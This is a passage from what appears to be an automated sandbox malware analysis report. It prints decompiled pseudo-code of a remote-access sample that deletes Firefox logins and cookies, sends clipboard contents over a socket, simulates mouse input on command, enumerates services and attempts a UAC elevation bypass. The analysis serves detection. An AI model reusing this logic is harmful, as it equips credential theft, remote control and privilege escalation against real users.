					E00402093(_t86, _t136 - 0x18,  &_v28, _t135, "\n[Firefox StoredLogins not found]");
					E0040C126(_t86,  &_v28, _t135, _t142);
					L11:
					E00401FD8();
					E00401FD8();
					E00401FD8();
					return 1;
				}
			}






















                                    0x0040ba7e
                                    0x0040ba7e
                                    0x0040ba7e
                                    0x0040ba8b
                                    0x0040ba93
                                    0x0040ba9b
                                    0x0040baa8
                                    0x0040bac8
                                    0x0040bad0
                                    0x0040bad8
                                    0x0040bae9
                                    0x0040bb06
                                    0x0040bb08
                                    0x0040bb0d
                                    0x0040bb10
                                    0x0040bc32
                                    0x0040bc40
                                    0x0040bc42
                                    0x00000000
                                    0x00000000
                                    0x0040bb39
                                    0x0040bb40
                                    0x0040bb52
                                    0x0040bb59
                                    0x0040bb5b
                                    0x0040bb6d
                                    0x0040bb74
                                    0x0040bb76
                                    0x0040bba6
                                    0x0040bbae
                                    0x0040bbb9
                                    0x0040bbd6
                                    0x0040bbe8
                                    0x0040bbf3
                                    0x0040bbfb
                                    0x0040bc09
                                    0x0040bc0f
                                    0x0040bc11
                                    0x0040bc13
                                    0x0040bc13
                                    0x0040bc22
                                    0x0040bc28
                                    0x0040bc2a
                                    0x0040bc2c
                                    0x0040bc2c
                                    0x0040bc2a
                                    0x0040bb76
                                    0x0040bb5b
                                    0x0040bb40
                                    0x0040bc52
                                    0x0040bc57
                                    0x0040bc60
                                    0x00000000
                                    0x0040bb16
                                    0x0040bb17
                                    0x0040bb27
                                    0x0040bb2c
                                    0x0040bc66
                                    0x0040bc69
                                    0x0040bc71
                                    0x0040bc79
                                    0x0040bc84
                                    0x0040bc84

                                    APIs
                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BAFD
                                    • FindClose.KERNEL32(00000000), ref: 0040BB17
                                    • FindNextFileA.KERNEL32(00000000,?), ref: 0040BC3A
                                    • FindClose.KERNEL32(00000000), ref: 0040BC60
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$CloseFile$FirstNext
                                    • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                                    • API String ID: 1164774033-3681987949
                                    • Opcode ID: 9fbf0aef89100c7904c2e91082528e95575a1748d144c09f7427c71d8d8132f7
                                    • Instruction ID: 22fe68216ac842b2b889ae7bf725f68435c98f49ad261ca627451d42d83b5da0
                                    • Opcode Fuzzy Hash: 9fbf0aef89100c7904c2e91082528e95575a1748d144c09f7427c71d8d8132f7
                                    • Instruction Fuzzy Hash: 4C515C3190421A9ADB14F7A2DC56DEEB739AF11304F50057FF406B60E2FF785A89CA89
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041680F Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 82clipboardmemoryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 90%
                                    			E0041680F(char* __edx, void* __ebp, char _a8, char _a12, char _a16, char _a24, char _a28, void* _a152, void* _a248) {
				void* __ebx;
				int _t10;
				void* _t20;
				void* _t22;
				void* _t31;
				struct HWND__* _t38;
				void* _t57;
				void* _t61;
				void* _t64;
				void* _t66;

				_t55 = __edx;
				_t10 = OpenClipboard(_t38);
				_t68 = _t10;
				if(_t10 != 0) {
					EmptyClipboard();
					E00401E65( &_a16, _t55, __ebp, _t68, _t38);
					_t57 = GlobalAlloc(0x2000, E0040247C() + 2);
					_t20 = GlobalLock(_t57);
					E00401E65( &_a12, _t55, __ebp, _t68, _t38);
					_t22 = E0040247C();
					E00436860(_t20, E00401FAB(E00401E65( &_a8, _t55, __ebp, _t68, _t38)), _t22);
					_t66 = _t64 + 0xc;
					GlobalUnlock(_t57);
					SetClipboardData(0xd, _t57);
					CloseClipboard();
					if(OpenClipboard(_t38) != 0) {
						_t61 = GetClipboardData(0xd);
						_t31 = GlobalLock(_t61);
						GlobalUnlock(_t61);
						CloseClipboard();
						_t50 =  !=  ? _t31 : 0x466468;
						E0040417E(_t38,  &_a28, _t55, __ebp,  !=  ? _t31 : 0x466468);
						_t55 =  &_a24;
						E0041BC70(_t38, _t66 - 0x18,  &_a24);
						_push(0x6b);
						E00404AA1(0x475598,  &_a24, _t31);
						E00401F09();
					}
				}
				_t7 =  &_a16; // 0x404421
				E00401E8D(_t7, _t55);
				E00401FD8();
				E00401FD8();
				return 0;
			}













                                    0x0041680f
                                    0x00416810
                                    0x00416816
                                    0x00416818
                                    0x0041681e
                                    0x00416829
                                    0x00416844
                                    0x00416847
                                    0x00416854
                                    0x0041685b
                                    0x00416874
                                    0x00416879
                                    0x0041687d
                                    0x00416886
                                    0x004168a3
                                    0x004168b2
                                    0x004168c0
                                    0x004168c3
                                    0x004168cc
                                    0x004168d2
                                    0x004168df
                                    0x004168e7
                                    0x004168ef
                                    0x004168f5
                                    0x004168fa
                                    0x00416901
                                    0x00416fd5
                                    0x00416fd5
                                    0x004168b2
                                    0x00416fda
                                    0x00416fde
                                    0x00416fea
                                    0x00416ff6
                                    0x00417003

                                    APIs
                                    • OpenClipboard.USER32 ref: 00416810
                                    • EmptyClipboard.USER32 ref: 0041681E
                                    • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 0041683E
                                    • GlobalLock.KERNEL32 ref: 00416847
                                    • GlobalUnlock.KERNEL32(00000000), ref: 0041687D
                                    • SetClipboardData.USER32 ref: 00416886
                                    • CloseClipboard.USER32 ref: 004168A3
                                    • OpenClipboard.USER32 ref: 004168AA
                                    • GetClipboardData.USER32 ref: 004168BA
                                    • GlobalLock.KERNEL32 ref: 004168C3
                                    • GlobalUnlock.KERNEL32(00000000), ref: 004168CC
                                    • CloseClipboard.USER32 ref: 004168D2
                                      • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                                    • String ID: !D@
                                    • API String ID: 3520204547-604454484
                                    • Opcode ID: 9ce04c11c098691b7f0dbaa29bae4fa75c7c3e628fa4903ae0a5065d60160b9c
                                    • Instruction ID: 819c705d303889465fa26790efb57f36229301e69bc092357d64a1fdc1a41d64
                                    • Opcode Fuzzy Hash: 9ce04c11c098691b7f0dbaa29bae4fa75c7c3e628fa4903ae0a5065d60160b9c
                                    • Instruction Fuzzy Hash: EC213071204301DBD714BB72DC5D9AE76A9AF98746F40043EF946921E2EF38CC45C66A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040BC85 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 92%
                                    			E0040BC85(void* __edx, void* __edi, void* __eflags) {
				char _v28;
				char _v52;
				char _v76;
				char _v100;
				char _v124;
				struct _WIN32_FIND_DATAA _v444;
				void* __ebx;
				void* __esi;
				void* __ebp;
				void* _t30;
				signed int _t44;
				signed int _t46;
				long _t60;
				void* _t68;
				void* _t69;
				void* _t98;
				void* _t103;
				void* _t104;
				void* _t105;
				void* _t106;
				void* _t107;

				_t112 = __eflags;
				_t103 = __edi;
				E004020DF(_t68,  &_v52);
				E004020DF(_t68,  &_v28);
				_t30 = E00402093(_t68,  &_v100, __edx, _t106, "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\");
				E00401FE2( &_v28, _t31, _t104, E004052FD(_t68,  &_v76, E0043C02A(_t68, __eflags, "UserProfile"), _t106, _t112, _t30));
				E00401FD8();
				E00401FD8();
				_t101 =  &_v28;
				_t105 = FindFirstFileA(E00401FAB(E00406C1E( &_v100,  &_v28, _t106, "*")),  &_v444);
				E00401FD8();
				_t113 = _t105 - 0xffffffff;
				if(_t105 != 0xffffffff) {
					while(1) {
						__eflags = FindNextFileA(_t105,  &_v444);
						if(__eflags == 0) {
							break;
						}
						__eflags = _v444.dwFileAttributes & 0x00000010;
						if((_v444.dwFileAttributes & 0x00000010) == 0) {
							continue;
						} else {
							_t44 = E0043FC50( &(_v444.cFileName), ".");
							__eflags = _t44;
							if(_t44 == 0) {
								continue;
							} else {
								_t46 = E0043FC50( &(_v444.cFileName), "..");
								__eflags = _t46;
								if(_t46 == 0) {
									continue;
								} else {
									_t101 = E00406C1E( &_v124,  &_v28, _t106,  &(_v444.cFileName));
									E00401FE2( &_v52, _t48, _t105, E00406383(_t68,  &_v76, _t48, _t103, _t106, __eflags, "\\cookies.sqlite"));
									E00401FD8();
									E00401FD8();
									__eflags = DeleteFileA(E00401FAB( &_v52));
									if(__eflags != 0) {
										_t98 = _t107 - 0x18;
										_push("\n[Firefox cookies found, cleared!]");
										goto L2;
									} else {
										_t60 = GetLastError();
										__eflags = _t60 != 0;
										if(_t60 != 0) {
											FindClose(_t105);
											_t69 = 0;
										} else {
											continue;
										}
									}
								}
							}
						}
						goto L11;
					}
					E00402093(_t68, _t107 - 0x18, _t101, _t106, "\n[Firefox Cookies not found]");
					E0040C126(_t68, _t101, _t106, __eflags);
					FindClose(_t105);
					goto L10;
				} else {
					FindClose(_t105);
					_t98 = _t107 - 0x18;
					_push("\n[Firefox Cookies not found]");
					L2:
					E00402093(_t68, _t98, _t101, _t106);
					E0040C126(_t68, _t101, _t106, _t113);
					L10:
					_t69 = 1;
				}
				L11:
				E00401FD8();
				E00401FD8();
				return _t69;
			}
























                                    0x0040bc85
                                    0x0040bc85
                                    0x0040bc93
                                    0x0040bc9b
                                    0x0040bca8
                                    0x0040bcc8
                                    0x0040bcd0
                                    0x0040bcd8
                                    0x0040bce9
                                    0x0040bd06
                                    0x0040bd08
                                    0x0040bd0d
                                    0x0040bd10
                                    0x0040bdcf
                                    0x0040bddd
                                    0x0040bddf
                                    0x00000000
                                    0x00000000
                                    0x0040bd39
                                    0x0040bd40
                                    0x00000000
                                    0x0040bd46
                                    0x0040bd52
                                    0x0040bd59
                                    0x0040bd5b
                                    0x00000000
                                    0x0040bd5d
                                    0x0040bd69
                                    0x0040bd70
                                    0x0040bd72
                                    0x00000000
                                    0x0040bd74
                                    0x0040bd8c
                                    0x0040bd9b
                                    0x0040bda3
                                    0x0040bdab
                                    0x0040bdbf
                                    0x0040bdc1
                                    0x0040be2b
                                    0x0040be2d
                                    0x00000000
                                    0x0040bdc3
                                    0x0040bdc3
                                    0x0040bdca
                                    0x0040bdcd
                                    0x0040be1e
                                    0x0040be24
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0040bdcd
                                    0x0040bdc1
                                    0x0040bd72
                                    0x0040bd5b
                                    0x00000000
                                    0x0040bd40
                                    0x0040bdef
                                    0x0040bdf4
                                    0x0040bdfd
                                    0x00000000
                                    0x0040bd16
                                    0x0040bd17
                                    0x0040bd20
                                    0x0040bd22
                                    0x0040bd27
                                    0x0040bd27
                                    0x0040bd2c
                                    0x0040be03
                                    0x0040be03
                                    0x0040be03
                                    0x0040be05
                                    0x0040be08
                                    0x0040be10
                                    0x0040be1c

                                    APIs
                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BCFD
                                    • FindClose.KERNEL32(00000000), ref: 0040BD17
                                    • FindNextFileA.KERNEL32(00000000,?), ref: 0040BDD7
                                    • FindClose.KERNEL32(00000000), ref: 0040BDFD
                                    • FindClose.KERNEL32(00000000), ref: 0040BE1E
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$Close$File$FirstNext
                                    • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                    • API String ID: 3527384056-432212279
                                    • Opcode ID: d8da5235760e04dbd87dd362abe5261c4f74545655da1b1937b9344a8d7abaea
                                    • Instruction ID: 4534e72db513edc8cc5ba4d995cc2b16692741db3b96a757e65382c45864b706
                                    • Opcode Fuzzy Hash: d8da5235760e04dbd87dd362abe5261c4f74545655da1b1937b9344a8d7abaea
                                    • Instruction Fuzzy Hash: 89417D3190021AAADB04F7A6DC569EEB768AF11704F50057FF506B20D2FF3C5A89CA9D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00419579 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 69%
                                    			E00419579(signed int __edx, void* __eflags, char _a8) {
				void* _v28;
				char _v32;
				void* _v36;
				void* _v40;
				char _v44;
				char _v48;
				char _v52;
				signed char* _t61;
				char* _t62;
				signed char* _t63;
				intOrPtr* _t73;
				intOrPtr* _t80;
				char* _t87;
				char* _t88;
				char* _t89;
				intOrPtr* _t90;
				signed char* _t92;
				char* _t93;
				intOrPtr _t95;
				signed int _t105;
				void* _t108;
				signed int _t148;
				signed int _t151;

				_t151 = __edx;
				_t95 =  *((intOrPtr*)(E004051E3(0)));
				E004041A2( &_a8,  &_v32, 1, 0xffffffff);
				if(_t95 != 0x30) {
					__eflags = _t95 - 0x31;
					if(_t95 != 0x31) {
						__eflags = _t95 - 0x32;
						if(_t95 != 0x32) {
							__eflags = _t95 - 0x33;
							if(_t95 != 0x33) {
								__eflags = _t95 - 0x34;
								if(_t95 != 0x34) {
									__eflags = _t95 - 0x35;
									if(_t95 != 0x35) {
										__eflags = _t95 - 0x36;
										if(_t95 != 0x36) {
											__eflags = _t95 - 0x37;
											if(_t95 == 0x37) {
												_t61 = E004051E3(2);
												_t62 = E004051E3(1);
												_t63 = E004051E3(0);
												_t105 =  *_t61 & 0x000000ff;
												__eflags =  *_t62;
												_push(0);
												_push(_t105);
												_t52 =  *_t62 != 0;
												__eflags = _t52;
												_push((_t105 & 0xffffff00 | _t52) & 0x000000ff);
												_t108 = 0x475798;
												goto L18;
											}
										} else {
											_push(0);
											_push(0x78);
											goto L15;
										}
									} else {
										_push(0);
										_push(0xffffff88);
										L15:
										mouse_event(0x800, 0, 0, ??, ??);
									}
								} else {
									_v40 =  *((intOrPtr*)(E004051E3(0)));
									_v40 =  *((intOrPtr*)(E004051E3(4)));
									E004193FC( *((intOrPtr*)(E004051E3(8))),  &_v48,  &_v44);
									E004198A4(_v48, _v44);
								}
							} else {
								_t73 = E004051E3(0);
								_v44 =  *((intOrPtr*)(E004051E3(4)));
								_v44 =  *((intOrPtr*)(E004051E3(8)));
								E004193FC( *((intOrPtr*)(E004051E3(0xc))),  &_v52,  &_v48);
								E00419841( *_t73, _v52, _v48);
								goto L8;
							}
						} else {
							_t80 = E004051E3(0);
							_v40 =  *((intOrPtr*)(E004051E3(4)));
							_v48 =  *((intOrPtr*)(E004051E3(8)));
							E004193FC( *((intOrPtr*)(E004051E3(0xc))),  &_v48,  &_v52);
							E004197DE( *_t80, _v48, _v52);
							goto L8;
						}
					} else {
						_t87 = E004051E3(4);
						_t88 = E004051E3(3);
						_t89 = E004051E3(2);
						_t90 = E004051E3(0);
						 *_t87 =  *_t88;
						__eflags =  *_t89;
						E004198E5( *_t90, __edx & 0xffffff00 |  *_t89 != 0x00000000, (( &_v40 & 0xffffff00 |  *_t87 != 0x00000000) & 0 |  *_t88 != 0x00000000) & 0x000000ff, ( &_v40 & 0xffffff00 |  *_t87 != 0x00000000) & 0x000000ff);
						L8:
					}
				} else {
					_t92 = E004051E3(2);
					_t93 = E004051E3(1);
					_t63 = E004051E3(0);
					_t148 =  *_t92 & 0x000000ff;
					_t177 =  *_t93;
					_push(1);
					_push(_t148);
					_push((_t148 & 0xffffff00 |  *_t93 != 0x00000000) & 0x000000ff);
					_t108 = 0x4756e0;
					L18:
					_push( *_t63 & 0x000000ff);
					E0041888E(_t108, _t151, _t177);
				}
				E00401FD8();
				E00401FD8();
				return 0;
			}


























                                    0x00419579
                                    0x00419597
                                    0x0041959e
                                    0x004195a6
                                    0x004195e7
                                    0x004195ea
                                    0x00419646
                                    0x00419649
                                    0x004196a6
                                    0x004196a9
                                    0x0041970a
                                    0x0041970d
                                    0x0041975b
                                    0x0041975e
                                    0x00419765
                                    0x00419768
                                    0x0041977c
                                    0x0041977f
                                    0x00419787
                                    0x00419794
                                    0x004197a1
                                    0x004197a6
                                    0x004197a9
                                    0x004197ac
                                    0x004197ae
                                    0x004197af
                                    0x004197af
                                    0x004197b5
                                    0x004197b6
                                    0x00000000
                                    0x004197b6
                                    0x0041976a
                                    0x0041976a
                                    0x0041976b
                                    0x00000000
                                    0x0041976b
                                    0x00419760
                                    0x00419760
                                    0x00419761
                                    0x0041976d
                                    0x00419774
                                    0x00419774
                                    0x0041970f
                                    0x00419721
                                    0x00419732
                                    0x00419746
                                    0x00419754
                                    0x00419754
                                    0x004196ab
                                    0x004196b0
                                    0x004196c6
                                    0x004196db
                                    0x004196ef
                                    0x004196ff
                                    0x00000000
                                    0x004196ff
                                    0x0041964b
                                    0x00419650
                                    0x00419666
                                    0x0041967b
                                    0x0041968f
                                    0x0041969f
                                    0x00000000
                                    0x0041969f
                                    0x004195ec
                                    0x004195f2
                                    0x004195ff
                                    0x0041960c
                                    0x00419619
                                    0x00419624
                                    0x0041962e
                                    0x0041963b
                                    0x00419704
                                    0x00419704
                                    0x004195a8
                                    0x004195ae
                                    0x004195bb
                                    0x004195c8
                                    0x004195cd
                                    0x004195d0
                                    0x004195d3
                                    0x004195d5
                                    0x004195dc
                                    0x004195dd
                                    0x004197bb
                                    0x004197be
                                    0x004197bf
                                    0x004197bf
                                    0x004197c8
                                    0x004197d0
                                    0x004197dd

                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: 0$1$2$3$4$5$6$7$VG
                                    • API String ID: 0-1861860590
                                    • Opcode ID: 553b5565f76cdbb09d43880a14a35aabd297c3261c221254f8292a4764cba798
                                    • Instruction ID: 355d0e058e3e4e1c15cf5e7df5b5e5ce40f621df9ce2fd89ac2b31921ffcc27f
                                    • Opcode Fuzzy Hash: 553b5565f76cdbb09d43880a14a35aabd297c3261c221254f8292a4764cba798
                                    • Instruction Fuzzy Hash: C571E3709183019FD304EF21D8A2BEB77949F54710F00491EF5A26B2D1DE38AE48CB96
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004074FD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 15%
                                    			E004074FD(void* __edx, void* __eflags, signed int* _a8) {
				signed int _v8;
				intOrPtr _v24;
				char _v44;
				char _v564;
				void* _t14;
				char* _t25;
				char* _t34;

				_push("[+] ucmAllocateElevatedObject\n");
				E00407200(__eflags);
				_v8 = _v8 & 0x00000000;
				_t33 = L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
				_t34 = 0x80004005;
				_t14 = E0043BA26(L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}");
				_t38 = _t14 - 0x40;
				if(_t14 <= 0x40) {
					E00407190();
					_v44 = 0x24;
					_v24 = 4;
					E0043F759( &_v564, L"Elevation:Administrator!new:");
					E0043F77B( &_v564, _t33);
					E00407200(_t38);
					_t25 =  &_v564;
					__imp__CoGetObject(_t25,  &_v44, 0x466518,  &_v8, "[+] CoGetObject\n");
					_t34 = _t25;
					_t39 = _t34;
					if(_t34 == 0) {
						_push("[+] CoGetObject SUCCESS\n");
					} else {
						_push("[-] CoGetObject FAILURE\n");
					}
					E00407200(_t39);
				}
				 *_a8 = _v8;
				return _t34;
			}










                                    0x00407508
                                    0x0040750d
                                    0x00407512
                                    0x00407516
                                    0x0040751c
                                    0x00407521
                                    0x00407528
                                    0x0040752b
                                    0x00407530
                                    0x0040753b
                                    0x00407548
                                    0x0040754f
                                    0x0040755c
                                    0x00407566
                                    0x0040757b
                                    0x00407582
                                    0x00407588
                                    0x0040758a
                                    0x0040758c
                                    0x00407595
                                    0x0040758e
                                    0x0040758e
                                    0x0040758e
                                    0x0040759a
                                    0x0040759f
                                    0x004075a7
                                    0x004075af

                                    APIs
                                    • _wcslen.LIBCMT ref: 00407521
                                    • CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Object_wcslen
                                    • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                                    • API String ID: 240030777-3166923314
                                    • Opcode ID: 058830ea659640f06c38a7a933630a2b2ae6d6d0aa3918ab77013acc37eec82e
                                    • Instruction ID: 41e7599ba3584120a432ff284eb64c0697e24ea430fa197e8688700723143e21
                                    • Opcode Fuzzy Hash: 058830ea659640f06c38a7a933630a2b2ae6d6d0aa3918ab77013acc37eec82e
                                    • Instruction Fuzzy Hash: 6B117372D14218BAD710E695DC45BDEB7BC9B08714F15007BF908B2282E77CAA448ABF
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041A69A Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 95%
                                    			E0041A69A(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t100;
				void* _t107;
				int _t108;
				long _t110;
				void* _t133;
				void* _t194;
				short** _t195;
				int _t196;
				struct _ENUM_SERVICE_STATUS* _t197;
				int _t198;
				struct _QUERY_SERVICE_CONFIG* _t201;
				void* _t202;

				_t185 = __edx;
				_t200 = 0;
				_t194 = __ecx;
				 *((intOrPtr*)(_t202 + 0x3c)) = __ecx;
				_t133 = OpenSCManagerA(0, 0, 4);
				if(_t133 != 0) {
					_t135 = _t202 + 0x4c;
					E00401F86(_t133, _t202 + 0x4c);
					 *(_t202 + 0x18) = 0;
					 *(_t202 + 0x18) = 0;
					 *(_t202 + 0x28) = 0;
					__eflags = EnumServicesStatusW(_t133, 0x3b, 3, _t202 + 0xa4, 0, _t202 + 0x20, _t202 + 0x18, _t202 + 0x20);
					if(__eflags != 0) {
						L12:
						CloseServiceHandle(_t133);
						E00403262(_t133, _t194, _t200, __eflags, _t202 + 0x4c);
						E00401F09();
						L13:
						return _t194;
					}
					__eflags = GetLastError() - 0xea;
					if(__eflags != 0) {
						goto L12;
					}
					_t196 =  *(_t202 + 0x18);
					_push(_t196);
					_t200 = E0043BCA1(_t135);
					 *(_t202 + 0x30) = _t200;
					EnumServicesStatusW(_t133, 0x3b, 3, _t200, _t196, _t202 + 0x20, _t202 + 0x18, _t202 + 0x20);
					_t197 = 0;
					 *(_t202 + 0x28) = 0;
					__eflags =  *(_t202 + 0x14);
					if(__eflags <= 0) {
						L11:
						L0043BC9C(_t200);
						goto L12;
					}
					_t195 = _t200;
					_t201 =  *(_t202 + 0x2c);
					do {
						E0040325D(E004042FC(_t133, _t202 + 0x64, _t195[1], _t201, __eflags, E0040417E(_t133, _t202 + 0x38, _t185, _t201, 0x46c91c)));
						E00401F09();
						E00401F09();
						E0040325D(E004042FC(_t133, _t202 + 0x34,  *_t195, _t201, __eflags, E0040417E(_t133, _t202 + 0x68, _t195[1], _t201, 0x46c91c)));
						E00401F09();
						E00401F09();
						_t100 = E0040417E(_t133, _t202 + 0x80,  *_t195, _t201, 0x46c91c);
						_t185 = E0041BB59(_t133, _t202 + 0x64, _t195[3]);
						E0040325D(E00402FA5(_t202 + 0x38, _t101, _t100));
						E00401F09();
						E00401F09();
						E00401F09();
						 *(_t202 + 0x1c) =  *(_t202 + 0x1c) & 0x00000000;
						_t107 = OpenServiceW(_t133,  *_t195, 1);
						_t160 = _t202 + 0x1c;
						 *(_t202 + 0x24) = _t107;
						_t108 = QueryServiceConfigW(_t107, _t201, 0, _t202 + 0x1c);
						__eflags = _t108;
						if(_t108 == 0) {
							_t110 = GetLastError();
							__eflags = _t110 - 0x7a;
							if(_t110 == 0x7a) {
								_t198 =  *(_t202 + 0x1c);
								_push(_t198);
								_t201 = E0043BCA1(_t160);
								QueryServiceConfigW( *(_t202 + 0x30), _t201, _t198, _t202 + 0x1c);
								E0040325D(E00403014(_t133, _t202 + 0x80, E0041BB59(_t133, _t202 + 0x34,  *_t201), _t195, _t201, __eflags, 0x46c91c));
								E00401F09();
								E00401F09();
								E0040325D(E00403014(_t133, _t202 + 0x80, E0041BB59(_t133, _t202 + 0x34,  *((intOrPtr*)(_t201 + 4))), _t195, _t201, __eflags, 0x46c91c));
								E00401F09();
								E00401F09();
								_t185 = E004042FC(_t133, _t202 + 0x38,  *((intOrPtr*)(_t201 + 0xc)), _t201, __eflags, E0040417E(_t133, _t202 + 0x6c, _t119, _t201, 0x46c91c));
								E0040325D(E00403014(_t133, _t202 + 0x80, _t125, _t195, _t201, __eflags, "\n"));
								E00401F09();
								E00401F09();
								E00401F09();
								L0043BC9C(_t201);
								_t197 =  *(_t202 + 0x2c);
							}
						}
						CloseServiceHandle( *(_t202 + 0x24));
						_t197 = _t197 + 1;
						_t195 =  &(_t195[9]);
						 *(_t202 + 0x28) = _t197;
						__eflags = _t197 -  *(_t202 + 0x14);
					} while (__eflags < 0);
					_t194 =  *(_t202 + 0x30);
					_t200 =  *(_t202 + 0x2c);
					goto L11;
				}
				E0040417E(_t133, _t194, _t185, 0, 0x466468);
				goto L13;
			}


















                                    0x0041a69a
                                    0x0041a6a6
                                    0x0041a6a8
                                    0x0041a6ac
                                    0x0041a6b6
                                    0x0041a6ba
                                    0x0041a6cd
                                    0x0041a6d1
                                    0x0041a6da
                                    0x0041a6e3
                                    0x0041a6ec
                                    0x0041a705
                                    0x0041a707
                                    0x0041a973
                                    0x0041a974
                                    0x0041a981
                                    0x0041a98a
                                    0x0041a98f
                                    0x0041a99b
                                    0x0041a99b
                                    0x0041a713
                                    0x0041a718
                                    0x00000000
                                    0x00000000
                                    0x0041a71e
                                    0x0041a722
                                    0x0041a729
                                    0x0041a734
                                    0x0041a745
                                    0x0041a74b
                                    0x0041a74d
                                    0x0041a751
                                    0x0041a755
                                    0x0041a96c
                                    0x0041a96d
                                    0x00000000
                                    0x0041a972
                                    0x0041a75b
                                    0x0041a75d
                                    0x0041a761
                                    0x0041a782
                                    0x0041a78b
                                    0x0041a794
                                    0x0041a7b9
                                    0x0041a7c2
                                    0x0041a7cb
                                    0x0041a7dc
                                    0x0041a7ee
                                    0x0041a7ff
                                    0x0041a808
                                    0x0041a811
                                    0x0041a81a
                                    0x0041a81f
                                    0x0041a829
                                    0x0041a82f
                                    0x0041a833
                                    0x0041a83c
                                    0x0041a842
                                    0x0041a844
                                    0x0041a84a
                                    0x0041a850
                                    0x0041a853
                                    0x0041a859
                                    0x0041a85d
                                    0x0041a864
                                    0x0041a871
                                    0x0041a89d
                                    0x0041a8a6
                                    0x0041a8af
                                    0x0041a8d5
                                    0x0041a8de
                                    0x0041a8e7
                                    0x0041a909
                                    0x0041a91d
                                    0x0041a926
                                    0x0041a92f
                                    0x0041a938
                                    0x0041a93e
                                    0x0041a943
                                    0x0041a947
                                    0x0041a853
                                    0x0041a94c
                                    0x0041a952
                                    0x0041a953
                                    0x0041a956
                                    0x0041a95a
                                    0x0041a95a
                                    0x0041a964
                                    0x0041a968
                                    0x00000000
                                    0x0041a968
                                    0x0041a6c3
                                    0x00000000

                                    APIs
                                    • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A6B0
                                    • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A6FF
                                    • GetLastError.KERNEL32 ref: 0041A70D
                                    • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A745
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: EnumServicesStatus$ErrorLastManagerOpen
                                    • String ID:
                                    • API String ID: 3587775597-0
                                    • Opcode ID: e88f47bb76fa5543ce2376a73978ed791f86e694ad12f40ccfb4ec7d911339ba
                                    • Instruction ID: 133ae3e28bf0cb65e9c007f8a78a2517b0e2db75428b7f88e8cc5c3217a8a926
                                    • Opcode Fuzzy Hash: e88f47bb76fa5543ce2376a73978ed791f86e694ad12f40ccfb4ec7d911339ba
                                    • Instruction Fuzzy Hash: 208171711083019BC315EF61D885DAFB7A8FF94759F50082EF185521A2EF78EE48CB9A
                                    Uniqueness

